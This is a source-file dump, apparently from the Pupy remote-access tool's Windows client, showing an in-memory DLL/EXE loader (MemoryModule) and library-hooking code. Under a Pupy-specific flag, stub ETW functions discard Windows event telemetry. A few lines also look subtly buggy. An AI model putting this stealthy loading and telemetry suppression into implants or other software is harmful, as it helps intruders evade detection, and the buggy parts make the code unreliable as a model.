}

DWORD _MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource)
{
    PIMAGE_RESOURCE_DATA_ENTRY entry;
    UNREFERENCED_PARAMETER(module);
    entry = (PIMAGE_RESOURCE_DATA_ENTRY) resource;
    if (entry == NULL) {
        return 0;
    }

    return entry->Size;
}

LPVOID _MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource)
{
    unsigned char *codeBase = ((PMEMORYMODULE) module)->codeBase;
    PIMAGE_RESOURCE_DATA_ENTRY entry = (PIMAGE_RESOURCE_DATA_ENTRY) resource;
    if (entry == NULL) {
        return NULL;
    }

    return codeBase + entry->OffsetToData;
}

HMEMORYRSRC MemoryFindResourceA(HMEMORYMODULE module, LPCSTR name, LPCSTR type)
{
    return MemoryFindResourceExA(module, name, type, DEFAULT_LANGUAGE);
}


HMEMORYRSRC MemoryFindResourceW(HMEMORYMODULE module, LPCWSTR name, LPCWSTR type)
{
    return _MemoryFindResourceW(module, name, type);
}

HMEMORYRSRC MemoryFindResourceExA(HMEMORYMODULE hModule, LPCSTR name, LPCSTR type, WORD language)
{
    size_t namelen;
    size_t typelen;
    LPWSTR wName;
    LPWSTR wType;

    if (!name || !type)
        return NULL;

    namelen = (strlen(name) + 1) * 2;
    typelen = (strlen(type) + 1) * 2;
    wName = _alloca(namelen);
    wType = _alloca(typelen);
    mbstowcs(wName, name, namelen);
    mbstowcs(wType, type, typelen);

    return MemoryFindResourceW(hModule, wName, wType);
}

HMEMORYRSRC MemoryFindResourceExW(HMEMORYMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language)
{
    PMEMORYMODULE module = (PMEMORYMODULE)hModule;
    HMEMORYRSRC resource = NULL;

    if (!hModule)
        return NULL;

    if (!resource && module->hAliasedModule) {
        resource = module->callbacks->systemFindResourceExW(
            module->hAliasedModule, name, type, language
        );
    }

    if (!resource && module->hOriginalModule) {
        resource = module->callbacks->systemFindResourceExW(
            module->hOriginalModule, name, type, language
        );
    }

    if (resource)
        return resource;

    return _MemoryFindResourceExW(hModule, name, type, language);
}

DWORD MemorySizeofResource(HMEMORYMODULE hModule, HMEMORYRSRC resource)
{
    PMEMORYMODULE module = (PMEMORYMODULE) hModule;
    DWORD dwSize = 0;

    if (!hModule)
        return 0;

    if (!dwSize && module->hAliasedModule) {
        dwSize = module->callbacks->systemSizeofResource(
            module->hAliasedModule, resource
        );
    }

    if (!dwSize && module->hOriginalModule) {
        dwSize = module->callbacks->systemSizeofResource(
            module->hOriginalModule, resource
        );
    }

    if (dwSize)
        return dwSize;

    return _MemorySizeofResource(hModule, resource);
}

LPVOID MemoryLoadResource(HMEMORYMODULE hModule, HMEMORYRSRC resource)
{
    PMEMORYMODULE module = (PMEMORYMODULE) hModule;
    PVOID *pvData = NULL;

    if (!hModule)
        return 0;

    if (!pvData && module->hAliasedModule) {
        pvData = module->callbacks->systemLoadResource(
            module->hAliasedModule, resource
        );
    }

    if (!pvData && module->hOriginalModule) {
        pvData = module->callbacks->systemLoadResource(
            module->hOriginalModule, resource
        );
    }

    if (pvData)
        return pvData;

    return _MemoryLoadResource(module, resource);
}

BOOL GetMemoryModuleInfo(
    HMEMORYMODULE hMemoryModule, PVOID *ppvBaseAddress, PULONG pulSize)
{
    PMEMORYMODULE module = (PMEMORYMODULE) hMemoryModule;
    if (!module)
        return FALSE;

    if (ppvBaseAddress)
        *ppvBaseAddress = module->codeBase;

    if (pulSize)
        *pulSize = module->codeSize;

    return TRUE;
}

================================================
FILE: client/sources-windows-py3/MemoryModule.h
================================================
/*
 * Memory DLL loading code
 * Version 0.0.4
 *
 * Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de
 * http://www.joachim-bauch.de
 *
 * The contents of this file are subject to the Mozilla Public License Version
 * 2.0 (the "License"); you may not use this file except in compliance with
 * the License. You may obtain a copy of the License at
 * http://www.mozilla.org/MPL/
 *
 * Software distributed under the License is distributed on an "AS IS" basis,
 * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
 * for the specific language governing rights and limitations under the
 * License.
 *
 * The Original Code is MemoryModule.h
 *
 * The Initial Developer of the Original Code is Joachim Bauch.
 *
 * Portions created by Joachim Bauch are Copyright (C) 2004-2015
 * Joachim Bauch. All Rights Reserved.
 *
 */

#ifndef __MEMORY_MODULE_HEADER
#define __MEMORY_MODULE_HEADER

#include <windows.h>

typedef void *HMEMORYMODULE;

typedef void *HMEMORYRSRC;

typedef void *HCUSTOMMODULE;

#ifdef __cplusplus
extern "C" {
#endif

typedef HMODULE (CALLBACK *CustomGetModuleHandleA)(LPCSTR);
typedef HMODULE (CALLBACK *CustomGetModuleHandleW)(LPCWSTR);
typedef BOOL (CALLBACK *CustomGetModuleHandleExA)(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule);
typedef BOOL (CALLBACK *CustomGetModuleHandleExW)(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule);
typedef HMODULE (CALLBACK *CustomLoadLibraryExA)(LPCSTR, HANDLE, DWORD);
typedef HMODULE (CALLBACK *CustomLoadLibraryExW)(LPCWSTR, HANDLE, DWORD);
typedef HCUSTOMMODULE (CALLBACK *CustomLoadLibraryA)(LPCSTR);
typedef HCUSTOMMODULE (CALLBACK *CustomLoadLibraryW)(LPCWSTR);


typedef DWORD (CALLBACK *CustomGetModuleFileNameA)(HMODULE, LPSTR, DWORD);
typedef DWORD (CALLBACK *CustomGetModuleFileNameW)(HMODULE, LPWSTR, DWORD);

typedef HRSRC (CALLBACK *CustomFindResourceA)(HMEMORYMODULE module, LPCSTR name, LPCSTR type);
typedef HRSRC (CALLBACK *CustomFindResourceW)(HMEMORYMODULE module, LPCWSTR name, LPCWSTR type);

typedef HRSRC (CALLBACK *CustomFindResourceExA)(HMEMORYMODULE hModule, LPCSTR name, LPCSTR type, WORD language);
typedef HRSRC (CALLBACK *CustomFindResourceExW)(HMEMORYMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language);

typedef DWORD (CALLBACK *CustomSizeofResource)(HMEMORYMODULE module, HRSRC resource);
typedef LPVOID (CALLBACK *CustomLoadResource)(HMEMORYMODULE module, HRSRC resource);

typedef FARPROC (CALLBACK *CustomGetProcAddress)(HMODULE, LPCSTR);
typedef void (CALLBACK *CustomFreeLibraryFunc)(HMODULE);

typedef HANDLE (CALLBACK *CustomCreateThread)(
    LPSECURITY_ATTRIBUTES   lpThreadAttributes,
    SIZE_T                  dwStackSize,
    LPTHREAD_START_ROUTINE  lpStartAddress,
    LPVOID                  lpParameter,
    DWORD                   dwCreationFlags,
    LPDWORD                 lpThreadId
);

#ifdef _PUPY_PRIVATE_WS2_32
typedef NTSTATUS (CALLBACK *CustomEtwRegister) (
    LPCGUID            ProviderId,
    PVOID EnableCallback,
    PVOID              CallbackContext,
    PULONGLONG         RegHandle
);

typedef ULONG (CALLBACK *CustomEtwEventWrite) (
    ULONGLONG RegHandle,
    PVOID EventDescriptor,
    ULONG UserDataCount,
    PVOID UserData
);

typedef ULONG (CALLBACK *CustomEtwEventWriteFull) (
    ULONGLONG RegHandle,
    PVOID EventDescriptor,
    USHORT EventProperty,
    LPCGUID ActivityId,
    LPCGUID RelatedActivityId,
    ULONG UserDataCount,
    PVOID UserData
);

typedef NTSTATUS (CALLBACK *CustomEtwUnregister) (
    ULONGLONG RegHandle
);
#endif

/**
 * Load EXE/DLL from memory location.
 *
 * All dependencies are resolved using default LoadLibrary/GetProcAddress
 * calls through the Windows API.
 */
HMEMORYMODULE MemoryLoadLibrary(const void *);

typedef struct {
    CustomLoadLibraryA loadLibraryA;
    CustomLoadLibraryW loadLibraryW;
    CustomLoadLibraryExA loadLibraryExA;
    CustomLoadLibraryExW loadLibraryExW;
    CustomGetModuleHandleA getModuleHandleA;
    CustomGetModuleHandleW getModuleHandleW;
    CustomGetModuleHandleExA getModuleHandleExA;
    CustomGetModuleHandleExW getModuleHandleExW;
    CustomGetModuleFileNameA getModuleFileNameA;
    CustomGetModuleFileNameW getModuleFileNameW;
    CustomGetProcAddress getProcAddress;
    CustomFreeLibraryFunc freeLibrary;

    CustomFindResourceA getFindResourceA;
    CustomFindResourceW getFindResourceW;
    CustomFindResourceExA getFindResourceExA;
    CustomFindResourceExW getFindResourceExW;
    CustomSizeofResource getSizeofResource;
    CustomLoadResource getLoadResource;

    CustomGetProcAddress systemGetProcAddress;
    CustomGetModuleFileNameA systemGetModuleFileNameA;
    CustomGetModuleFileNameW systemGetModuleFileNameW;
    CustomFindResourceExW systemFindResourceExW;
    CustomSizeofResource systemSizeofResource;
    CustomLoadResource systemLoadResource;

    CustomCreateThread createThread;

#ifdef _PUPY_PRIVATE_WS2_32
    CustomEtwRegister systemEtwRegister;
    CustomEtwEventWrite systemEtwEventWrite;
    CustomEtwEventWriteFull systemEtwEventWriteFull;
    CustomEtwUnregister systemEtwUnregister;
#endif
} DL_CALLBACKS, *PDL_CALLBACKS;

typedef enum {
    MEMORY_LOAD_DEFAULT = 0,
    MEMORY_LOAD_NO_EP = 1 << 0,
    MEMORY_LOAD_NO_TLS_CALLBACKS = 1 << 1,
    MEMORY_LOAD_NO_EXCEPTION_HANDLING = 1 << 2,
    MEMORY_LOAD_FROM_HMODULE = 1 << 3,
    MEMORY_LOAD_ALIASED = 1 << 4,
    MEMORY_LOAD_UNHOOK = 1 << 5,
    MEMORY_LOAD_EXPORT_FILTER_FNV1A = 1 << 6,
    MEMORY_LOAD_EXPORT_FILTER_PREFIX = 1 << 7,
} MEMORY_LOAD_FLAGS;

/**
 * Load EXE/DLL from memory location using custom dependency resolvers.
 *
 * Dependencies will be resolved using passed callback methods.
 */
HMEMORYMODULE MemoryLoadLibraryEx(
    const void *pvData,
    PDL_CALLBACKS pdlCallbacks,
    void *pvDllMainReserved,
    void *pvExportFilter,
    MEMORY_LOAD_FLAGS flags
);

/**
 * Get address of exported method. Supports loading both by name and by
 * ordinal value.
 */
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);

/**
 * Free previously loaded EXE/DLL.
 */
void MemoryFreeLibrary(HMEMORYMODULE);

DWORD MemoryModuleFileNameA(HMODULE, LPSTR, DWORD);
DWORD MemoryModuleFileNameW(HMODULE, LPWSTR, DWORD);

BOOL GetMemoryModuleInfo(HMEMORYMODULE hModule, PVOID *ppvBaseAddress, PULONG pulSize);

HMEMORYRSRC MemoryFindResourceA(HMEMORYMODULE module, LPCSTR name, LPCSTR type);
HMEMORYRSRC MemoryFindResourceW(HMEMORYMODULE module, LPCWSTR name, LPCWSTR type);

HMEMORYRSRC MemoryFindResourceExA(HMEMORYMODULE hModule, LPCSTR name, LPCSTR type, WORD language);
HMEMORYRSRC MemoryFindResourceExW(HMEMORYMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language);

DWORD MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource);
LPVOID MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource);

#ifdef __cplusplus
}
#endif

#endif  // __MEMORY_MODULE_HEADER


================================================
FILE: client/sources-windows-py3/MyLoadLibrary.c
================================================
#include "MemoryModule.h"
#include "MyLoadLibrary.h"

#include <string.h>
#include <malloc.h>
#include "uthash.h"

#include "debug.h"

typedef struct _ORIGINAL_THREAD_ARGS {
    LPTHREAD_START_ROUTINE lpOriginalRoutine;
    LPVOID lpOriginalParameter;
    LPTOP_LEVEL_EXCEPTION_FILTER lpExceptionFilter;
} ORIGINAL_THREAD_ARGS, *PORIGINAL_THREAD_ARGS;

typedef struct {
    PSTR name;
    PSTR fileName;

    LPTOP_LEVEL_EXCEPTION_FILTER ehFilter;

    HCUSTOMMODULE module;
    int refcount;
    int pin;

    UT_hash_handle by_name;
    UT_hash_handle by_filename;
    UT_hash_handle by_module;
} HCUSTOMLIBRARY, *PHCUSTOMLIBRARY;

typedef struct {
    PHCUSTOMLIBRARY by_module;
    PHCUSTOMLIBRARY by_name;
    PHCUSTOMLIBRARY by_filename;
    CRITICAL_SECTION lock;
    PDL_CALLBACKS pCallbacks;
} HLIBRARIES, *PHLIBRARIES;

static PHLIBRARIES libraries = NULL;
static LPTOP_LEVEL_EXCEPTION_FILTER lpDefaultExceptionHandler = NULL;

VOID MySetLibraries(PVOID pLibraries) {
    if (!libraries) {
        dprint("Initialize libraries with: %p\n", pLibraries);
        libraries = pLibraries;
    } else {
        dprint("Libraries already initialized\n");
    }
}

PVOID MyGetLibraries() {
    return (PVOID) libraries;
}

static PHCUSTOMLIBRARY _FindMemoryModuleByAddress(
        PVOID pvAddress, PVOID *ppvBaseAddress) {
    PHCUSTOMLIBRARY module, tmp;
    UINT_PTR uiAddress = (UINT_PTR) pvAddress;

    if (!pvAddress)
        return NULL;

    HASH_ITER(by_module, libraries->by_module, module, tmp) {
        PVOID pvBaseAddress = NULL;
        ULONG ulSize = 0;

        if (GetMemoryModuleInfo(module->module, &pvBaseAddress, &ulSize)) {
            UINT_PTR uiBaseAddress = (UINT_PTR) pvBaseAddress;

            if (uiAddress >= uiBaseAddress && uiAddress <= (uiBaseAddress + ulSize)) {
                if (ppvBaseAddress)
                    *ppvBaseAddress = pvBaseAddress;

                return module;
            }
        }
    }

    return NULL;
}

/****************************************************************
 * Search for a loaded MemoryModule in the linked list, either by name
 * or by module handle.
 */
static PHCUSTOMLIBRARY _FindMemoryModule(LPCSTR name, HMODULE module)
{
    PHCUSTOMLIBRARY phIdx = NULL;

    if (!name && !module)
        return NULL;

    if (!libraries)
        return NULL;

    EnterCriticalSection(&libraries->lock);

    if (name) {
        LPCSTR srcName = NULL;
        PSTR psName;
        PSTR psFileName;
        PSTR psi;
        size_t len, fileNameLen;

        srcName = strrchr(name, '\\');
        if (srcName)
            srcName ++;

        if (!srcName || !srcName[0]) {
            srcName = strrchr(name, '/');
            if (srcName)
                srcName ++;
        }

        if (!srcName || !srcName[0])
            srcName = name;

        len = strlen(srcName);
        fileNameLen = strlen(name);

        psName = _alloca(len + 1);
        psFileName = _alloca(fileNameLen + 1);
        memcpy(psName, srcName, len+1);
        memcpy(psFileName, name, len+1);

        _strupr(psName);
        _strupr(psFileName);

        psi = strrchr(psName, '.');
        if (psi && !strcmp(psi, ".DLL"))
            *psi = '\0';

        for (psi=psFileName; *psi; psi++)
            if (*psi == '/')
                *psi = '\\';

        HASH_FIND(
            by_filename, libraries->by_filename,
            psFileName, fileNameLen, phIdx
        );

        if (!phIdx) {
            HASH_FIND(
                by_name, libraries->by_name,
                psName, len, phIdx
            );
        }

        dprint(
            "_FindMemoryModule by name %s -> %p (%p)\n",
            psName, phIdx, phIdx? phIdx->module : NULL);
    } else {

        HASH_FIND(
            by_module, libraries->by_module,
            &module, sizeof(void *), phIdx
        );

        dprint("_FindMemoryModule by module %p -> %p (%p)\n", module, phIdx, phIdx? phIdx->module : NULL);
    }

    LeaveCriticalSection(&libraries->lock);

    return phIdx;
}

static PHCUSTOMLIBRARY _FindMemoryModuleW(LPCWSTR name)
{
    PSTR pszName = NULL;
    PHCUSTOMLIBRARY hResult = NULL;
    DWORD dwRequiredSize = WideCharToMultiByte(
        CP_OEMCP, 0, name, -1, NULL,
        0, NULL, NULL
    );

    if (!SUCCEEDED(dwRequiredSize))
        return NULL;

    dwRequiredSize += 1;

    pszName = LocalAlloc(LMEM_FIXED, dwRequiredSize);
    if (!pszName)
        return NULL;

    dwRequiredSize = WideCharToMultiByte(
        CP_OEMCP, 0, name, -1, pszName,
        dwRequiredSize, NULL, NULL
    );

    if (SUCCEEDED(dwRequiredSize))
        hResult = _FindMemoryModule(pszName, NULL);

    LocalFree(pszName);

    return hResult;
}

#ifdef _PUPY_PRIVATE_WS2_32
static
NTSTATUS CALLBACK MyEtwRegister (
    LPCGUID            ProviderId,
    PVOID               EnableCallback,
    PVOID              CallbackContext,
    PULONGLONG         RegHandle
) {
    static ULONGLONG dwFakeRegHandle = 0x80000000;
    dprint(
        "MyEtwRegister "
        "GUID=%08x-%04x-%04x-%02x%02x%02x%02x%02x%02x%02x%02x -> %p\n",
        ProviderId->Data1, ProviderId->Data2, ProviderId->Data3,
        ProviderId->Data4[0], ProviderId->Data4[1],
        ProviderId->Data4[2], ProviderId->Data4[3],
        ProviderId->Data4[4], ProviderId->Data4[5],
        ProviderId->Data4[6], ProviderId->Data4[7],
        dwFakeRegHandle
    );

    *RegHandle = dwFakeRegHandle ++;
    return ERROR_SUCCESS;
}

static
ULONG CALLBACK MyEtwEventWrite (
    ULONGLONG RegHandle,
    PVOID EventDescriptor,
    ULONG UserDataCount,
    PVOID UserData
) {
    dprint("MyEtwEventWrite (RegHandle: %p)\n", RegHandle);
    return ERROR_SUCCESS;
}

static
ULONG CALLBACK MyEtwEventWriteFull (
    ULONGLONG RegHandle,
    PVOID EventDescriptor,
    USHORT EventProperty,
    LPCGUID ActivityId,
    LPCGUID RelatedActivityId,
    ULONG UserDataCount,
    PVOID UserData
) {
    dprint("EtwEventWriteFull (RegHandle: %p)\n", RegHandle);
    return ERROR_SUCCESS;
}

static
NTSTATUS CALLBACK MyEtwUnregister (
    ULONGLONG RegHandle
) {
    dprint("MyEtwUnregister (RegHandle: %p)\n", RegHandle);
    return ERROR_SUCCESS;
}
#endif

static DL_CALLBACKS callbacks = {
    MyLoadLibraryA, MyLoadLibraryW,
    MyLoadLibraryExA, MyLoadLibraryExW,
    MyGetModuleHandleA, MyGetModuleHandleW,
    MyGetModuleHandleExA, MyGetModuleHandleExW,
    MyGetModuleFileNameA, MyGetModuleFileNameW,
    MyGetProcAddress,
    MyFreeLibrary,

    MyFindResourceA, MyFindResourceW,
    MyFindResourceExA, MyFindResourceExW,
    MySizeofResource, MyLoadResource,

    GetProcAddress,
    GetModuleFileNameA, GetModuleFileNameW,
    FindResourceExW, SizeofResource, LoadResource,

    MyCreateThread,

#ifdef _PUPY_PRIVATE_WS2_32
    MyEtwRegister, MyEtwEventWrite,
    MyEtwEventWriteFull, MyEtwUnregister
#endif
};

/****************************************************************
 * Insert a MemoryModule into the linked list of loaded modules
 */
static PHCUSTOMLIBRARY _AddMemoryModule(
    LPCSTR name, HCUSTOMMODULE module)
{
    PHCUSTOMLIBRARY hmodule = (PHCUSTOMLIBRARY) malloc(
        sizeof(HCUSTOMLIBRARY));

    LPCSTR srcName = NULL;
    PSTR psi;

    if (!libraries) {
        libraries = (PHLIBRARIES) malloc(sizeof(HLIBRARIES));
        libraries->by_module = NULL;
        libraries->by_name = NULL;
        libraries->by_filename = NULL;
        libraries->pCallbacks = &callbacks;

        InitializeCriticalSection(&libraries->lock);
        dprint("Initialize libraries: %p\n", libraries);
    }

    srcName = strrchr(name, '\\');
    if (srcName)
        srcName ++;

    if (!srcName || !srcName[0]) {
        srcName = strrchr(name, '/');
        if (srcName)
            srcName ++;
    }

    if (!srcName || !srcName[0])
        srcName = name;

    hmodule->refcount = 1;
    hmodule->pin = 0;
    hmodule->name = strdup(srcName);
    hmodule->fileName = strdup(name);
    hmodule->module = module;
    hmodule->ehFilter = NULL;

    _strupr(hmodule->name);
    _strupr(hmodule->fileName);

    psi = strchr(hmodule->name, '.');
    if (psi && !strcmp(psi, ".DLL"))
        *psi = '\0';

    for (psi=hmodule->fileName; *psi; psi++)
        if (*psi == '/')
            *psi = '\\';

    EnterCriticalSection(&libraries->lock);

    HASH_ADD_KEYPTR(
        by_module, libraries->by_module,
        &hmodule->module, sizeof(hmodule->module),
        hmodule
    );

    dprint(
        "_AddMemoryModule(%s (%s), %p)\n",
        hmodule->name,
        hmodule->fileName,
        module
    );

    HASH_ADD_KEYPTR(
        by_name, libraries->by_name, hmodule->name,
        strlen(hmodule->name), hmodule
    );

    HASH_ADD_KEYPTR(
        by_filename, libraries->by_filename, hmodule->fileName,
        strlen(hmodule->fileName), hmodule
    );

    LeaveCriticalSection(&libraries->lock);

    dprint("_AddMemoryModule(%s, %p) -> %p[%d] (hmod=%p)\n",
        hmodule->name, module, hmodule, hmodule->refcount, module);

    return hmodule;
}

/****************************************************************
 * Public functions
 */

DWORD CALLBACK MyGetModuleFileNameW(HMODULE hModule, LPWSTR lpwStr, DWORD dwSize)
{
    PHCUSTOMLIBRARY lib;

    lib = _FindMemoryModule(NULL, hModule);
    if (lib) {
        DWORD dwRet = MemoryModuleFileNameW(lib->module, lpwStr, dwSize);
        if (dwRet == 0xFFFFFFFF) {
            dwRet = MultiByteToWideChar(
                CP_ACP, 0,
                lib->fileName, strlen(lib->fileName),
                lpwStr, dwSize
            );

            dprint(
                "MyGetModuleFileNameW -> %s (conv: %d)\n",
                lib->fileName, dwRet
            );
        } else {
            dprint(
                "MyGetModuleFileNameW -> proxied (ret: %d)\n", dwRet
            );
        }

        return dwRet;
    } else {
        dprint("MyGetModuleFileNameW %p -> unregistered\n", hModule);
    }

    return GetModuleFileNameW(hModule, lpwStr, dwSize);
}

DWORD CALLBACK MyGetModuleFileNameA(HMODULE hModule, LPSTR lpStr, DWORD dwSize)
{
    PHCUSTOMLIBRARY lib;

    lib = _FindMemoryModule(NULL, hModule);
    if (lib) {
        DWORD dwRet = MemoryModuleFileNameA(lib->module, lpStr, dwSize);
        if (dwRet == 0xFFFFFFFF) {
            size_t reqSize = strlen(lib->fileName);
            if (reqSize > dwSize) {
                SetLastError(ERROR_INSUFFICIENT_BUFFER);
                dwRet = 0;
            } else {
                memcpy(lpStr, lib->fileName, reqSize);
                if (dwSize >= reqSize + 1) {
                    lpStr[reqSize] = '\0';
                }
                dwRet = reqSize;
            }

            dprint(
                "MyGetModuleFileNameA -> %s (conv: %d)\n",
                lib->fileName, dwRet
            );
        } else {
            dprint(
                "MyGetModuleFileNameA -> proxied (ret: %s/%d)\n", lpStr, dwRet
            );
        }
        return dwRet;
    } else {
        dprint("MyGetModuleFileNameA %p -> unregistered\n", hModule);
    }

    return GetModuleFileNameA(hModule, lpStr, dwSize);
}

HMODULE CALLBACK MyGetModuleHandleA(LPCSTR name)
{
    PHCUSTOMLIBRARY lib;

    lib = _FindMemoryModule(name, NULL);
    if (lib)
        return lib->module;

    return GetModuleHandleA(name);
}

static
BOOL MyGetModuleHandleEx(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule, BOOL bWide)
{
    PHCUSTOMLIBRARY lib;

    if (dwFlags & GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS) {
        dprint("MyGetModuleHandleEx -> by Address (%p)", lpArg);
        lib = _FindMemoryModuleByAddress(lpArg, NULL);
    } else {
        if (bWide) {
            dwprint(L"MyGetModuleHandleEx -> by Name (%s)", lpArg);
            lib = _FindMemoryModuleW(lpArg, NULL);
        } else {
            dprint("MyGetModuleHandleEx -> by Name (%s)", lpArg);
            lib = _FindMemoryModule(lpArg, NULL);
        }
    }

    if (!lib)  {
        dprint(" -> NULL\n", phModule);
        if (bWide) {
            return GetModuleHandleExW(dwFlags, lpArg, phModule);
        } else {
            return GetModuleHandleExA(dwFlags, lpArg, phModule);
        }
    }

    dprint(" -> Found (%p:%s)", lib->module, lib->name);

    if (dwFlags & GET_MODULE_HANDLE_EX_FLAG_PIN) {
        dprint(" -> set pin\n");
        lib->pin = 1;
    } else if (! (dwFlags & GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT)) {
        lib->refcount ++;
        dprint(" -> incr refcnt (%d)\n", lib->refcount);
    } else {
        dprint(" -> do nothing\n", lib->refcount);
    }

    if (phModule)
        *phModule = lib->module;

    return TRUE;
}

BOOL CALLBACK MyGetModuleHandleExA(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule) {
    return MyGetModuleHandleEx(dwFlags, lpArg, phModule, FALSE);
}

BOOL CALLBACK MyGetModuleHandleExW(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule) {
    return MyGetModuleHandleEx(dwFlags, lpArg, phModule, TRUE);
}

HMODULE MyLoadLibrary(LPCSTR name, void *bytes, void *dllmainArg)
{
    return MyLoadLibraryEx(
        name, bytes, dllmainArg, NULL, MEMORY_LOAD_DEFAULT
    );
}

HMODULE
MyLoadLibraryEx(
    LPCSTR name, const void *bytes, void *dllmainArg,
    const void *pvExports, MEMORY_LOAD_FLAGS flags)
{
    HMODULE hLoadedModule = NULL;

    dprint("MyLoadLibrary '%s'..\n", name);
    if (flags & MEMORY_LOAD_FROM_HMODULE) {
        PHCUSTOMLIBRARY lib;
        lib = _FindMemoryModule(name, NULL);
        if (lib)  {
            lib->refcount ++;
            return lib->module;
        }
    } else {
        hLoadedModule = MyGetModuleHandleA(name);
    }

    dprint("MyLoadLibrary %s registered? %p\n", name, hLoadedModule);

    if (hLoadedModule)
        return hLoadedModule;

    if (bytes) {
        HCUSTOMMODULE mod;
        PDL_CALLBACKS cb = libraries ? libraries->pCallbacks : &callbacks;

        dprint("Callbacks: %p\n", cb);

        mod = MemoryLoadLibraryEx(bytes, cb, dllmainArg, pvExports, flags);

        dprint(
            "MyLoadLibrary: loading %s, buf=%p (dllmainArg=%p) -> %p\n",
            name, bytes, dllmainArg, mod
        );

        if (mod) {
            PHCUSTOMLIBRARY lib = _AddMemoryModule(name, mod);
            dprint("MemoryLoadLibraryEx: loaded %s -> %p (%p)\n", name, mod, lib->module);
            return lib->module;
        } else {
            dprint("MemoryLoadLibraryEx(%s, %p) failed\n", name, bytes);
        }
    }

    dprint("MyLoadLibrary: fallback to OS LoadLibrary %s\n", name);
    return LoadLibrary(name);
}

HMODULE CALLBACK MyGetModuleHandleW(LPCWSTR name) {
    PHCUSTOMLIBRARY hResult = _FindMemoryModuleW(name);
    if (hResult)
        return (HMODULE) hResult;

    return GetModuleHandleW(name);
}

HMODULE CALLBACK MyLoadLibraryExA(LPCSTR name, HANDLE hFile, DWORD dwFlags) {
    PHCUSTOMLIBRARY hResult = _FindMemoryModule(name, NULL);
    if (hResult) {
        hResult->refcount ++;
        return hResult->module;
    }

    return LoadLibraryExA(name, hFile, dwFlags);
}

HMODULE CALLBACK MyLoadLibraryExW(LPCWSTR name, HANDLE hFile, DWORD dwFlags) {
    PHCUSTOMLIBRARY hResult = _FindMemoryModuleW(name);
    if (hResult) {
        hResult->refcount ++;
        return hResult->module;
    }

    return LoadLibraryExW(name, hFile, dwFlags);
}

HMODULE CALLBACK MyLoadLibraryA(LPCSTR name) {
    PHCUSTOMLIBRARY hResult = _FindMemoryModule(name, NULL);
    if (hResult) {
        hResult->refcount ++;
        return hResult->module;
    }

    return LoadLibraryA(name);
}

HMODULE CALLBACK MyLoadLibraryW(LPCWSTR name) {
    PHCUSTOMLIBRARY hResult = _FindMemoryModuleW(name);
    if (hResult) {
        hResult->refcount ++;
        return hResult->module;
    }

    return LoadLibraryW(name);
}

BOOL CALLBACK MyFreeLibrary(HMODULE module)
{
    PHCUSTOMLIBRARY lib = _FindMemoryModule(NULL, module);

    if (lib) {
        dprint("MyFreeLibrary(%p) -> %s REFCNT: %d PIN: %d\n",
            module, lib->name, lib->refcount, lib->pin);

        if (lib->pin == 0 && --lib->refcount == 0) {
            EnterCriticalSection(&libraries->lock);

            HASH_DELETE(by_name, libraries->by_name, lib);
            HASH_DELETE(by_filename, libraries->by_filename, lib);
            HASH_DELETE(by_module, libraries->by_module, lib);

            LeaveCriticalSection(&libraries->lock);

            free(lib->name);
            free(lib);

            MemoryFreeLibrary(module);
        }
        return TRUE;
    } else
        return FreeLibrary(module);
}

FARPROC CALLBACK MyGetProcAddress(HMODULE module, LPCSTR procname)
{
    PHCUSTOMLIBRARY lib;
    FARPROC fpFunc = NULL;

    lib = _FindMemoryModule(NULL, module);
    if (lib)
        fpFunc = MemoryGetProcAddress(lib->module, procname);
    else
        fpFunc = GetProcAddress(module, procname);

    if (HIWORD(procname) == 0) {
        dprint("MyGetProcAddress(%p, %d) -> %p (lib: %p)\n",
            module, LOWORD(procname), fpFunc, lib);
    } else {
        dprint("MyGetProcAddress(%p, %s) -> %p (lib: %p)\n", module, procname, fpFunc, lib);
    }

    return fpFunc;
}

FARPROC MyFindProcAddress(LPCSTR modulename, LPCSTR procname)
{
    HCUSTOMMODULE mod = MyGetModuleHandleA(modulename);
    void *addr = NULL;
    /* dprint("MyFindProcAddress(%s, %s) -> %p\n", modulename, procname, mod); */
    if (mod) {
        addr = MyGetProcAddress(mod, procname);
    }

    /* dprint("MyFindProcAddress(%s, %s) -> %p\n", modulename, procname, addr); */
    return addr;
}

HRSRC CALLBACK MyFindResourceA(HMODULE module, LPCSTR name, LPCSTR type)
{
    HRSRC res;
    PHCUSTOMLIBRARY lib;

    lib = _FindMemoryModule(NULL, module);
    if (lib)
        res = (HRSRC) MemoryFindResourceA(lib->module, name, type);
    else
        res = FindResourceA(module, name, type);

    dprint("MyFindResourceA(%p, %s, %s) -> %p (%p)\n", module, name, type, res, lib);
    return res;
}

HRSRC CALLBACK MyFindResourceW(HMODULE module, LPCWSTR name, LPCWSTR type)
{
    HRSRC res;
    PHCUSTOMLIBRARY lib;

    lib = _FindMemoryModule(NULL, module);
    if (lib)
        res = (HRSRC) MemoryFindResourceW(lib->module, name, type);
    else
        res = FindResourceW(module, name, type);

    dprint("MyFindResourceA(%p, %p, %p) -> %p (%p)\n", module, name, type, res, lib);
    return res;
}

HRSRC CALLBACK MyFindResourceExA(HMODULE hModule, LPCSTR name, LPCSTR type, WORD language)
{
    HRSRC res;
    PHCUSTOMLIBRARY lib;

    lib = _FindMemoryModule(NULL, hModule);
    if (lib)
        res = (HRSRC) MemoryFindResourceExA(lib->module, name, type, language);
    else
        res = FindResourceExA(hModule, name, type, language);

    dprint("MyFindResourceExA(%p, %s, %s, %d) -> %p (%p)\n", hModule, name, type, language, res, lib);
    return res;
}

HRSRC CALLBACK MyFindResourceExW(HMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language)
{
    HRSRC res;
    PHCUSTOMLIBRARY lib;

    lib = _FindMemoryModule(NULL, hModule);
